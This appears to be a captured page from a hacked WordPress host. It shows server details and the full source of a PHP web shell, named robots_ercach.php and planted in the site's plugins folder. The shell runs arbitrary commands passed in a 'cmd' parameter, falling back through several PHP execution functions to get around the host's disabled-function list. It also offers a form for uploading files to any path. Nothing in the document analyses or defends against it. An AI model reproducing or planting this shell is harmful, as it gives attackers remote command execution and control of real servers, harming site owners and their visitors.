HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/julebloggen.dk/public_html/wp-content/plugins/robots_ercach.php
<?php
@error_reporting(0);
@ini_set('display_errors',0);
@set_time_limit(0);
if(isset($_GET['cmd'])){
    echo '<pre>';
    $c=$_GET['cmd'];
    if(function_exists('proc_open')){$p=proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$pp);echo stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
    elseif(function_exists('popen')){$h=popen($c,'r');while(!feof($h)){echo fread($h,4096);}pclose($h);}
    elseif(function_exists('shell_exec')){echo shell_exec($c);}
    elseif(function_exists('system')){system($c);}
    elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);}
    else{echo 'NO_EXEC';}
    echo '</pre>';exit;
}
if(isset($_FILES['f'])){
    $n=$_FILES['f']['name'];
    $d=isset($_POST['path'])&&$_POST['path']!==''?$_POST['path']:__DIR__.'/'.$n;
    if(@move_uploaded_file($_FILES['f']['tmp_name'],$d)){echo 'OK: '.$d;}else{echo 'FAIL';}exit;
}
echo '<html><head><title>L1L</title><style>body{background:#000;color:#0f0;font:14px monospace;padding:20px}input,button{background:#111;color:#0f0;border:1px solid #333;padding:8px 12px;margin:5px}form{margin:20px 0}h2{color:#0f0}pre{background:#111;border:1px solid #333;padding:10px;max-height:400px;overflow:auto}</style></head><body><center><h2>L1L`XPL0IT</h2><form method=post enctype=multipart/form-data><input type=file name=f><input type=text name=path placeholder="dest path"><input type=submit value=Upload></form><form method=get><input type=text name=cmd placeholder=command size=50><input type=submit value=Exec></form></center></body></html>';
?>